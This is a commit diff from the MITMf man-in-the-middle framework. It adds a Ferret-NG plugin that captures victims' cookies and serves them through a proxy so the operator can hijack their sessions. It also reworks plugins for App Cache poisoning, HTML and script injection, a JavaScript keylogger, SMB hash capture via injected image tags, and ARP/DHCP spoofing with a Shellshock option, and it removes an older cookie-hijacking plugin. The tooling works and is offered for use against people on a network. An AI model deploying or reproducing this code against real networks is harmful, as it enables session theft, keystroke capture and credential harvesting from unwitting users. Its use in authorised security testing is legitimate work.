Initial working PoC for the Ferret-NG plugin that will replace the SessionHijacker plugin: it will capture cookies and trasparently feed them to the proxy it starts up on port 10010 (by default), this way we just have to connect to the proxy, browse to the same website as the victim and we will automatically hijack their session! \o/

The way MITMf hooks SSLstrip's functions has been modified to improve plugin code readability, additionally corrected some useless function hooks that were placed in early framework realeases and never removed.

Replace plugin has been given it's own section in the config file

currently the BeedAutorun and Javapwn plugins have to be cleaned up...

BrowserProfile plugin's Pinlady code has been updated to the latest version (v0.9.0) and will now detect Flash player's version

Javapwn plugin will be renamed to BrowserPwn and will support Flash exploits too , as supposed to only Java exploits

Since we now have a built in SMB server, removed options to specify a host in the SMBauth plugin

Tweaked the output of some plugins
This commit is contained in:
byt3bl33d3r 2015-05-11 03:13:45 +02:00
commit 79025dc77e
33 changed files with 1080 additions and 5488 deletions

View file

@ -1,6 +1,6 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
@ -18,8 +18,6 @@
# USA
#
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
import logging
import re
import os.path
@ -33,10 +31,9 @@ from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class AppCachePlugin(Plugin):
name = "App Cache Poison"
name = "AppCachePoison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
implements = ["handleResponse"]
version = "0.3"
has_opts = False
@ -47,7 +44,9 @@ class AppCachePlugin(Plugin):
self.urlMonitor.setAppCachePoisoning()
def handleResponse(self, request, data):
def serverResponse(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
@ -60,22 +59,22 @@ class AppCachePlugin(Plugin):
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
return {'request': request, 'data': data}
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'request': request, 'data': data}
return {'response': response, 'request': request, 'data': data}
mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
@ -92,12 +91,12 @@ class AppCachePlugin(Plugin):
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("%s Poisoning manifest URL" % ip)
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("%s Poisoning raw URL" % ip)
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
@ -112,7 +111,7 @@ class AppCachePlugin(Plugin):
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'request': request, 'data': data}
return {'response': response, 'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
@ -130,7 +129,7 @@ class AppCachePlugin(Plugin):
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
return data
mitmf_logger.debug("Adding AppCache mass poison for URL %s, id %s" % (url, browser_id))
mitmf_logger.debug("[{}] Adding AppCache mass poison for URL {}, id {}".format(self.name, url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
@ -202,5 +201,3 @@ class AppCachePlugin(Plugin):
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())

View file

@ -27,15 +27,15 @@ from core.beefapi import BeefAPI
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
class BeefAutorun(Inject, Plugin):
class BeefAutorun(Plugin):
name = "BeEFAutorun"
optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
tree_output = []
depends = ["Inject"]
version = "0.3"
has_opts = False

File diff suppressed because one or more lines are too long

View file

@ -18,28 +18,28 @@
# USA
#
import logging
from plugins.plugin import Plugin
mitmf_logger = logging.getLogger("mitmf")
class CacheKill(Plugin):
name = "CacheKill"
optname = "cachekill"
desc = "Kills page caching by modifying headers"
implements = ["handleHeader", "connectionMade"]
bad_headers = ['if-none-match', 'if-modified-since']
version = "0.1"
has_opts = True
def add_options(self, options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
def initialize(self, options):
self.bad_headers = ['if-none-match', 'if-modified-since']
def handleHeader(self, request, key, value):
def serverHeaders(self, response, request):
'''Handles all response headers'''
request.client.headers['Expires'] = "0"
request.client.headers['Cache-Control'] = "no-cache"
response.headers['Expires'] = "0"
response.headers['Cache-Control'] = "no-cache"
def connectionMade(self, request):
def clientRequest(self, request):
'''Handles outgoing request'''
request.headers['Pragma'] = 'no-cache'
for h in self.bad_headers:
if h in request.headers:
request.headers[h] = ""
request.headers['pragma'] = 'no-cache'
for header in self.bad_headers:
if header in request.headers:
del request.headers[header]

60
plugins/FerretNG.py Normal file
View file

@ -0,0 +1,60 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
from plugins.plugin import Plugin
from twisted.internet import reactor
from twisted.web import http
from twisted.internet import reactor
from core.ferretNG.FerretProxy import FerretProxy
from core.ferretNG.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class FerretNG(Plugin):
name = "Ferret-NG"
optname = "ferret"
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
tree_output = list()
version = "0.1"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.ferret_port = 10010 or options.ferret_port
self.tree_output.append("Listening on port {}".format(self.ferret_port))
def clientRequest(self, request):
if 'cookie' in request.headers:
host = request.headers['host']
cookie = request.headers['cookie']
mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie))
URLMonitor.getInstance().cookies[host] = cookie
def pluginReactor(self, StrippingProxy):
FerretFactory = http.HTTPFactory(timeout=10)
FerretFactory.protocol = FerretProxy
reactor.listenTCP(self.ferret_port, FerretFactory)
def pluginOptions(self, options):
options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)')

View file

@ -27,22 +27,21 @@ import argparse
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
class Inject(CacheKill, Plugin):
class Inject(Plugin):
name = "Inject"
optname = "inject"
implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True
desc = "Inject arbitrary content into HTML content"
version = "0.2"
depends = ["CacheKill"]
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.proxyip = SystemConfig.getIP(options.interface)
self.our_ip = SystemConfig.getIP(options.interface)
self.html_src = options.html_url
self.js_src = options.js_url
self.rate_limit = options.rate_limit
@ -50,35 +49,32 @@ class Inject(CacheKill, Plugin):
self.per_domain = options.per_domain
self.black_ips = options.black_ips
self.white_ips = options.white_ips
self.match_str = options.match_str
self.match_str = "</body>" or options.match_str
self.html_payload = options.html_payload
self.ctable = {}
self.dtable = {}
self.count = 0
self.mime = "text/html"
if self.options.preserve_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
if not options.preserve_cache:
cachekill = CacheKill()
cachekill.initialize(options)
ProxyPlugins.getInstance().addPlugin(cachekill)
if options.html_file is not None:
self.html_payload += options.html_file.read()
self.ctable = {}
self.dtable = {}
self.count = 0
self.mime = "text/html"
def handleResponse(self, request, data):
def serverResponse(self, response, request, data):
#We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri
ip, hn, mime = self._get_req_info(request)
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.proxyip):
#print "http://" + response.client.getRequestHostname() + response.uri
ip, hn, mime = self._get_req_info(response)
if self._should_inject(ip, hn, mime) and self._ip_filter(ip) and (hn not in self.our_ip):
if (not self.js_src == self.html_src is not None or not self.html_payload == ""):
data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
self.count += 1
mitmf_logger.info("%s [%s] Injected malicious html" % (ip, hn))
return {'request': request, 'data': data}
mitmf_logger.info("{} [{}] Injected malicious html: {}".format(ip, self.name, hn))
return {'response': response, 'request':request, 'data': data}
def _get_payload(self):
return self._get_js() + self._get_iframe() + self.html_payload
@ -116,10 +112,10 @@ class Inject(CacheKill, Plugin):
return mime.find(self.mime) != -1
def _get_req_info(self, request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
def _get_req_info(self, response):
ip = response.getClientIP()
hn = response.getRequestHostname()
mime = response.headers['Content-Type']
return (ip, hn, mime)
def _get_iframe(self):
@ -154,12 +150,11 @@ class Inject(CacheKill, Plugin):
return data
def add_options(self, options):
def pluginOptions(self, options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--html-payload", type=str, default=None, help="String you would like to inject.")
options.add_argument("--match-str", type=str, default=None, help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
group = options.add_mutually_exclusive_group(required=False)
group.add_argument("--per-domain", action="store_true", default=False, help="Inject once per domain per client.")

View file

@ -32,7 +32,7 @@ from plugins.BrowserProfiler import BrowserProfiler
mitmf_logger = logging.getLogger("mitmf")
class JavaPwn(BrowserProfiler, Plugin):
class JavaPwn(Plugin):
name = "JavaPwn"
optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"

View file

@ -21,25 +21,29 @@ import logging
from plugins.plugin import Plugin
from plugins.Inject import Inject
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
class jskeylogger(Inject, Plugin):
class jskeylogger(Plugin):
name = "Javascript Keylogger"
optname = "jskeylogger"
desc = "Injects a javascript keylogger into clients webpages"
implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
depends = ["Inject"]
version = "0.2"
has_opts = False
def initialize(self, options):
Inject.initialize(self, options)
self.html_payload = self.msf_keylogger()
inject = Inject()
inject.initialize(options)
inject.html_payload = self.msf_keylogger()
ProxyPlugins.getInstance().addPlugin(inject)
def sendPostData(self, request):
def clientRequest(self, request):
#Handle the plugin output
if 'keylog' in request.uri:
request.printPostData = False
client_ip = request.client.getClientIP()
raw_keys = request.postData.split("&&")[0]
keys = raw_keys.split(",")
@ -59,17 +63,12 @@ class jskeylogger(Inject, Plugin):
try:
nice += n.decode('hex')
except:
mitmf_logger.warning("%s ERROR decoding char: %s" % (request.client.getClientIP(), n))
mitmf_logger.error("{} [{}] Error decoding char: {}".format(client_ip, self.name, n))
#try:
# input_field = input_field.decode('hex')
#except:
# mitmf_logger.warning("%s ERROR decoding input field name: %s" % (request.client.getClientIP(), input_field))
mitmf_logger.warning("%s [%s] Field: %s Keys: %s" % (request.client.getClientIP(), request.headers['host'], input_field, nice))
mitmf_logger.info("{} [{}] Host: {} Field: {} Keys: {}".format(client_ip, self.name, request.headers['host'], input_field, nice))
def msf_keylogger(self):
#Stolen from the Metasploit module http_javascript_keylogger
#Stolen from the Metasploit module http_javascript_keylogger, modified to work in Android and IOS
payload = """<script type="text/javascript">
window.onload = function mainfunc(){

View file

@ -19,7 +19,9 @@
#
"""
Plugin by @rubenthijssen
"""
import sys
@ -28,78 +30,51 @@ import time
import re
from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill
from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
class Replace(CacheKill, Plugin):
class Replace(Plugin):
name = "Replace"
optname = "replace"
desc = "Replace arbitrary content in HTML content"
implements = ["handleResponse", "handleHeader", "connectionMade"]
depends = ["CacheKill"]
version = "0.1"
has_opts = True
version = "0.2"
has_opts = False
def initialize(self, options):
self.options = options
self.search_str = options.search_str
self.replace_str = options.replace_str
self.regex_file = options.regex_file
if (self.search_str is None or self.search_str == "") and self.regex_file is None:
sys.exit("[-] Please provide a search string or a regex file")
self.regexes = []
if self.regex_file is not None:
for line in self.regex_file:
self.regexes.append(line.strip().split("\t"))
if self.options.keep_cache:
self.implements.remove("handleHeader")
self.implements.remove("connectionMade")
self.ctable = {}
self.dtable = {}
self.mime = "text/html"
def handleResponse(self, request, data):
ip, hn, mime = self._get_req_info(request)
def serverResponse(self, response, request, data):
ip, hn, mime = self._get_req_info(response)
if self._should_replace(ip, hn, mime):
if self.search_str is not None and self.search_str != "":
data = data.replace(self.search_str, self.replace_str)
mitmf_logger.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str))
# Did the user provide us with a regex file?
for regex in self.regexes:
try:
data = re.sub(regex[0], regex[1], data)
for rulename, regexs in self.config['Replace'].iteritems():
for regex1,regex2 in regexs.iteritems():
if re.search(regex1, data):
try:
data = re.sub(regex1, regex2, data)
mitmf_logger.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
mitmf_logger.info("{} [{}] Host: {} Occurances matching '{}' replaced with '{}' according to rule '{}'".format(ip, self.name, hn, regex1, regex2, rulename))
except Exception:
mitmf_logger.error("{} [{}] Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'" % (ip, hn, regex1, regex2, rulename))
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
return {'request': request, 'data': data}
return
def add_options(self, options):
options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)")
options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.")
options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.")
return {'response': response, 'request': request, 'data': data}
def _should_replace(self, ip, hn, mime):
return mime.find(self.mime) != -1
def _get_req_info(self, request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
def _get_req_info(self, response):
ip = response.getClientIP()
hn = response.getRequestHostname()
mime = response.headers['Content-Type']
return (ip, hn, mime)

View file

@ -18,7 +18,6 @@
# USA
#
import threading
import sys
from plugins.plugin import Plugin
@ -94,7 +93,7 @@ class Responder(Plugin):
def pluginReactor(self, strippingFactory):
reactor.listenTCP(3141, strippingFactory)
def add_options(self, options):
def pluginOptions(self, options):
options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning")
options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries")
options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries")

View file

@ -21,20 +21,22 @@
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
from core.sergioproxy.ProxyPlugins import ProxyPlugins
class SMBAuth(Inject, Plugin):
class SMBAuth(Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
depends = ["Inject"]
version = "0.1"
has_opts = False
def initialize(self, options):
Inject.initialize(self, options)
self.target_ip = SystemConfig.getIP(options.interface)
self.html_payload = self._get_data()
inject = Inject()
inject.initialize(options)
inject.html_payload = self._get_data()
ProxyPlugins.getInstance().addPlugin(inject)
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\

View file

@ -1,187 +0,0 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb
import threading
import os
import sys
import time
import logging
import sqlite3
import json
import socket
from plugins.plugin import Plugin
from core.publicsuffix.publicsuffix import PublicSuffixList
from urlparse import urlparse
mitmf_logger = logging.getLogger("mitmf")
class SessionHijacker(Plugin):
name = "Session Hijacker"
optname = "hijack"
desc = "Performs session hijacking attacks against clients"
implements = ["cleanHeaders"] #["handleHeader"]
version = "0.1"
has_opts = True
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.psl = PublicSuffixList()
self.firefox = options.firefox
self.mallory = options.mallory
self.save_dir = "./logs"
self.seen_hosts = {}
self.sql_conns = {}
self.sessions = []
self.html_header="<h2>Cookies sniffed for the following domains\n<hr>\n<br>"
#Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires
#SQLite version 3.7.0 or later. You won't be able to read the database files
#with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted
#or is not a database" message.
sqlv = sqlite3.sqlite_version.split('.')
if (sqlv[0] <3 or sqlv[1] < 7):
sys.exit("[-] sqlite3 version 3.7 or greater required")
if not os.path.exists("./logs"):
os.makedirs("./logs")
if self.mallory:
t = threading.Thread(name='mallory_server', target=self.mallory_server, args=())
t.setDaemon(True)
t.start()
def cleanHeaders(self, request): # Client => Server
headers = request.getAllHeaders().copy()
client_ip = request.getClientIP()
if 'cookie' in headers:
if self.firefox:
url = "http://" + headers['host'] + request.getPathFromUri()
for cookie in headers['cookie'].split(';'):
eq = cookie.find("=")
cname = str(cookie)[0:eq].strip()
cvalue = str(cookie)[eq+1:].strip()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip)
if self.mallory:
if len(self.sessions) > 0:
temp = []
for session in self.sessions:
temp.append(session[0])
if headers['host'] not in temp:
self.sessions.append((headers['host'], headers['cookie']))
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
else:
self.sessions.append((headers['host'], headers['cookie']))
mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
mitmf_logger.info("%s Sent cookie to browser extension" % client_ip)
#def handleHeader(self, request, key, value): # Server => Client
# if 'set-cookie' in request.client.headers:
# cookie = request.client.headers['set-cookie']
# #host = request.client.headers['host'] #wtf????
# message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie)
# if self.urlMonitor.isClientLogging() is True:
# self.urlMonitor.writeClientLog(request.client, request.client.headers, message)
# else:
# mitmf_logger.info(message)
def mallory_server(self):
host = ''
port = 20666
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host,port))
server.listen(1)
while True:
client, addr = server.accept()
if addr[0] != "127.0.0.1":
client.send("Hacked By China!")
client.close()
continue
request = client.recv(8192)
request = request.split('\n')
path = request[0].split()[1]
client.send("HTTP/1.0 200 OK\r\n")
client.send("Content-Type: text/html\r\n\r\n")
if path == "/":
client.send(json.dumps(self.sessions))
client.close()
def firefoxdb(self, host, cookie_name, cookie_value, url, ip):
session_dir=self.save_dir + "/" + ip
cookie_file=session_dir +'/cookies.sqlite'
cookie_file_exists = os.path.exists(cookie_file)
if (ip not in (self.sql_conns and os.listdir("./logs"))):
try:
if not os.path.exists(session_dir):
os.makedirs(session_dir)
db = sqlite3.connect(cookie_file, isolation_level=None)
self.sql_conns[ip] = db.cursor()
if not cookie_file_exists:
self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))")
self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)")
except Exception, e:
print str(e)
scheme = urlparse(url).scheme
scheme = (urlparse(url).scheme)
basedomain = self.psl.get_public_suffix(host)
address = urlparse(url).hostname
short_url = scheme + "://"+ address
log = open(session_dir + '/visited.html','a')
if (ip not in self.seen_hosts):
self.seen_hosts[ip] = {}
log.write(self.html_header)
if (address not in self.seen_hosts[ip]):
self.seen_hosts[ip][address] = 1
log.write("\n<br>\n<a href='%s'>%s</a>" %(short_url, address))
log.close()
if address == basedomain:
address = "." + address
expire_date = 2000000000 #Year2033
now = int(time.time()) - 600
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
def add_options(self, options):
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension')
def finish(self):
if self.firefox:
print "\n[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>/visited.html'"

View file

@ -42,6 +42,7 @@ class Spoof(Plugin):
self.dnscfg = self.config['MITMf']['DNS']
self.dhcpcfg = self.config['Spoof']['DHCP']
self.targets = options.targets
self.arpmode = 'rep' or options.arpmode
self.manualiptables = options.manualiptables
self.mymac = SystemConfig.getMAC(options.interface)
self.myip = SystemConfig.getIP(options.interface)
@ -66,7 +67,7 @@ class Spoof(Plugin):
self.protocolInstances.append(arpwatch)
arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets)
arp.arpmode = options.arpmode
arp.arpmode = self.arpmode
arp.debug = debug
self.protocolInstances.append(arp)
@ -116,7 +117,7 @@ class Spoof(Plugin):
for protocol in self.protocolInstances:
protocol.start()
def add_options(self, options):
def pluginOptions(self, options):
group = options.add_mutually_exclusive_group(required=False)
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
@ -125,7 +126,7 @@ class Spoof(Plugin):
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
options.add_argument('--arpmode',type=str, dest='arpmode', default=None, choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
def finish(self):
for protocol in self.protocolInstances:

View file

@ -21,7 +21,7 @@
import logging
from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image
from PIL import Image, ImageFile
mitmf_logger = logging.getLogger("mitmf")
@ -29,24 +29,22 @@ class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
implements = ["handleResponse", "handleHeader"]
version = "0.1"
has_opts = False
def initialize(self, options):
from PIL import Image, ImageFile
globals()['Image'] = Image
globals()['ImageFile'] = ImageFile
self.options = options
def handleHeader(self, request, key, value):
def serverHeaders(self, response, request):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
request.imageType = value.split("/")[1].upper()
self.imageType = response.headers['content-type'].split('/')[1].upper()
def handleResponse(self, request, data):
def serverResponse(self, response, request, data):
try:
isImage = getattr(request, 'isImage')
except AttributeError:
@ -54,7 +52,6 @@ class Upsidedownternet(Plugin):
if isImage:
try:
image_type = request.imageType
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
@ -62,11 +59,11 @@ class Upsidedownternet(Plugin):
im = p.close()
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output, format=image_type)
im.save(output, format=self.imageType)
data = output.getvalue()
output.close()
mitmf_logger.info("{} Flipped image".format(request.client.getClientIP()))
mitmf_logger.info("{} [Upsidedownternet] Flipped image".format(response.getClientIP()))
except Exception as e:
mitmf_logger.info("{} Error: {}".format(request.client.getClientIP(), e))
mitmf_logger.info("{} [Upsidedownternet] Error: {}".format(response.getClientIP(), e))
return {'request': request, 'data': data}
return {'response': response, 'request': request, 'data': data}

View file

@ -11,7 +11,6 @@ class Plugin(ConfigWatcher, object):
name = "Generic plugin"
optname = "generic"
desc = ""
implements = []
has_opts = False
def initialize(self, options):
@ -19,31 +18,41 @@ class Plugin(ConfigWatcher, object):
self.options = options
def startThread(self, options):
'''Anything that will subclass this function will be a thread'''
'''Anything that will subclass this function will be a thread, passed the options namespace'''
return
def add_options(options):
'''Add your options to the options parser'''
raise NotImplementedError
def clientRequest(self, request):
'''
Handles all outgoing requests, hooks connectionMade()
request object has the following attributes:
def handleHeader(self, request, key, value):
'''Handles all response headers'''
raise NotImplementedError
def connectionMade(self, request):
'''Handles outgoing request'''
raise NotImplementedError
def pluginReactor(self, strippingFactory):
'''This sets up another instance of the reactor on a diffrent port'''
request.headers => headers in dict format
request.commad => HTTP method
request.post => POST data
request.uri => full URL
request.path => path
'''
pass
def handleResponse(self, request, data):
def serverHeaders(self, response, request):
'''
Handles all non-image responses by default. See Upsidedownternet
for how to get images
Handles all response headers, hooks handleEndHeaders()
'''
raise NotImplementedError
pass
def serverResponse(self, response, request, data):
'''
Handles all non-image responses by default, hooks handleResponse() (See Upsidedownternet for how to get images)
'''
return {'response': response, 'request':request, 'data': data}
def pluginOptions(self, options):
'''Add your options to the options parser'''
pass
def pluginReactor(self, strippingFactory):
'''This sets up another instance of the reactor on a diffrent port, passed the default factory'''
pass
def finish(self):
'''This will be called when shutting down'''